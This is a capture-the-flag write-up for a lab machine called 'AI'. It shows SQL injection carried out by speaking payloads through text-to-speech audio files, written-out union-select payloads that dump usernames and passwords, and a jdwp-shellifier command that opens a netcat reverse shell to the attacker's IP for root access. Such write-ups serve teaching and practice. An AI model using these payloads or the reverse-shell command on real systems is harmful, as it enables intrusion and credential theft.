As usual, the first stage is to enumerate the host and the ports that are open. I perform a full port scan and the result shows that there are 2 ports open:
- 22: OpenSSH 7.6p1 Ubuntu
- 80: Apache httpd 2.4.29 ((Ubuntu))
Enumeration – HTTP
The AI logo on the top left acts as a “hamburger”, meaning that there are navigation options when you hover your mouse over the logo. On the About page, we are told that the website’s function is to use voice recognition from audio files for their search engine. We do not yet know what search engine they mean, however are hinted that we may need some text to speech software. Upon visiting the AI page, we are prompted to ‘drop our query using wav file’.
Playing with the AI
As discovered earlier, we need to find a text to speech platform which we can use to generate
.wav files for us. text2speech was the first hit when searching for one, I will use it for now. The direct benefit is that we can directly download a
.wav file, no conversion required.
The first question is to understand the underlying system, and what engine will be searched. For example, does it query Google or perhaps its own SQL database? When creating a file with the contents ‘hello world’, the AI interprets the text, however the query result is empty.
Hmm, alright. Let us try with a single quote, a common way to test for potential SQL injection. If I simply tell text2speech to use
' then it will say nothing of course, therefore it is important to type out
open single quote so that the AI interprets a single quote. Bingo! We are told that there is an error in the SQL syntax corresponding to the MySQL server.
Alright, now this is pretty awesome, and I think that it is a very outside of the box method of creating this CTF challenge. We must perform SQL injection, however we are not able to use
sqlmap – a common tool used to automate SQL injection.
Getting the initial shell
As previously discovered, we must perform SQL injection without
sqlmap. A challenge, but doable! I want to try a simple union select to see if we can get any user information. The aim is to get the payload below to be interpreted. I am not too sure yet whether the table name is
users. I believe that the best practice is to use singular nouns for table names, however after playing with the AI for long enough, I discovered that the table name is
'union select username from users -- -
The text2speech payload for this is:
open single quite union select username from users comment database
Lets try it!
Hmm. We see that the AI interpreted
...select few username..., so it is not quite correct or what I intended. Perhaps the text2speech platform is speaking too quickly for the AI to understand it. I will slow the text2speech down using commas (
,) for short breaks between
select, username, from. This works! We see that the query result is
alexa. Haha, I could have guessed that!
The final step before the initial shell is to identify the password. I want to use the following payload:
'union select password from users -- -
text2speech payload: open single quote union select, password, from users comment database
And it works! We get the password, and are able to login to the AI host through SSH and we win the
We will use the linux privilege escalation awesome scripts (linPEAS) and pspy to enumerate the AI host.
linpeas.sh script identifies a 99% potential privilege escalation route through the
jdwp (java debug wire protocol) binary. This is seen with the yellow highlight and red text in the screenshot below. It appears to be a command which is ran as the
root user, using the
After some Googling, we find that there is a script which can be used to exploit this process (here). Using
pspy, it is possible to see when / how often the command using
jdwp is being executed.
# Command to exploit jdwp ./jdwp-shellifier.py -t 127.0.0.1 -p 8000 \ --break-on 'java.lang.String.indexOf' \ --cmd '/tmp/nc 10.10.15.230 1234 -e /bin/bash'
The reason that I use
/tmp/nc is because the normal
nc on AI does not support the use of the
-e flag, thereby refusing to launch a reverse shell. I overcame this challenge by uploading a the
nc binary from my localhost.